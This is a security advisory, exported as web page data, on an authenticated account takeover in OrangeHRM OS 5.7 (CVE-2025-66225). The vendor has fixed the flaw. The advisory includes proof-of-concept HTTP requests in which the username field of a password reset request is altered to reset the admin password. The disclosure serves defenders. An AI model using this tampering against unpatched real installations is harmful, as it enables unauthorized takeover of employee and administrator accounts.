{"id":24558,"date":"2025-12-01T13:52:32","date_gmt":"2025-12-01T12:52:32","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=24558"},"modified":"2025-12-10T14:26:25","modified_gmt":"2025-12-10T13:26:25","slug":"usd-2025-0046","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2025-0046\/","title":{"rendered":"usd-2025-0046"},"content":{"rendered":"

[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.25.2\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.27.4\" _module_preset=\"default\" custom_padding=\"||13px|||\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n

usd-2025-46 | OrangeHRM OS 5.7 - Authenticated Account Takeover via Insecure Password Reset<\/h1>\n

<\/h1>\n

Product<\/strong>: OrangeHRM OS
Affected Version<\/strong>: 5.7
Vulnerability Type<\/strong>: Weak Password Recovery Mechanism for Forgotten Password (CWE-640)
Security Risk<\/strong>: High
Vendor<\/strong>: OrangeHRM Inc
Vendor URL<\/strong>: https:\/\/www.orangehrm.com\/<\/a>
Vendor acknowledged vulnerability<\/strong>: Yes
Vendor Status<\/strong>: Fixed
CVE Number<\/strong>: CVE-2025-66225
CVE Link<\/strong>: https:\/\/www.cve.org\/CVERecord?id=CVE-2025-66225<\/a>
Advisory ID<\/strong>: usd-2025-46<\/p>\n

Description<\/h3>\n

OrangeHRM describes itself as a comprehensive Human Resource Management (HRM) System that captures all the essential functionalities required for any enterprise. OrangeHRM OS is its open source version.<\/p>\n

Version 5.7 of OrangeHRM allows authenticated attackers to take over arbitrary other accounts, including administrative accounts, via a vulnerability in the password reset process.<\/p>\n

Proof of Concept<\/h3>\n

First, a password reset is initiated for an arbitrary account to which the attacker has access via the Forgot your password?<\/em> link on the login page. It is important that the account is configured such that the attacker receives the password reset e-mail. The password reset e-mail contains a link that marks the next step in the password reset process.<\/p>\n

\"\"<\/p>\n

When completing the form, a request such as shown in the following listing is sent.<\/p>\n

\n
<\/span>POST<\/span> \/web\/index.php\/auth\/resetPassword<\/span> HTTP<\/span>\/<\/span>1.1\n<\/span>Host<\/span>:<\/span> 10.3.161.14\n<\/span>Cookie<\/span>:<\/span> _orangehrm=j5bqlmhnuhfg05oenp7n6cjkao\n<\/span>Content-Type<\/span>:<\/span> application\/x-www-form-urlencoded\n<\/span>Content-Length<\/span>:<\/span> 204\n<\/span>[...]<\/span><\/pre>\n
 <\/p>\n
_token<\/span>=<\/span>674e0cfd8763884[...]2yw<\/span>&<\/span>username<\/span>=<\/span>attacker<\/span>&<\/span>password<\/span>=<\/span>Password123456%21<\/span>&<\/span>confirmPassword<\/span>=<\/span>Password123456%21<\/span><\/p>\n<\/div>\n
The request contains the username for which the password is changed. That parameter can be changed arbitrarily in the request to reset the password of another user. For example, intercepting the above request and modifying it to the request shown in the following listing changes the password for the admin<\/strong> user.<\/p>\n
\n
<\/span>POST<\/span> \/web\/index.php\/auth\/resetPassword<\/span> HTTP<\/span>\/<\/span>1.1\n<\/span>Host<\/span>:<\/span> 10.3.161.14\n<\/span>Cookie<\/span>:<\/span> _orangehrm=j5bqlmhnuhfg05oenp7n6cjkao\n<\/span>Content-Type<\/span>:<\/span> application\/x-www-form-urlencoded\n<\/span>Content-Length<\/span>:<\/span> 201\n<\/span>[...]\n\n<\/span>_token<\/span>=<\/span>674e0cfd8763884[...]2yw<\/span>&<\/span>username<\/span>=<\/span>admin<\/span>&<\/span>password<\/span>=<\/span>Password123456%21<\/span>&<\/span>confirmPassword<\/span>=<\/span>Password123456%21<\/span><\/pre>\n<\/div>\n
The attacker can now login into account admin<\/strong> with password Password123456!<\/strong>.<\/p>\n
Note that the _token<\/strong> parameter is a CSRF-token. It is specifically scoped to that stage in the password reset process and can only be used once such that no other CSRF-token can be used. This is the reason why the resetPassword<\/strong> endpoint cannot be accessed without having an arbitrary but valid password reset link and thus requires attackers to have access to an arbitrary account first.<\/p>\n
Fix<\/h3>\n
The resetPassword<\/strong> endpoint should verify that the username<\/strong> parameter matches to the one for which a password reset has been initiated via the reset link.<\/p>\n
References<\/h3>\n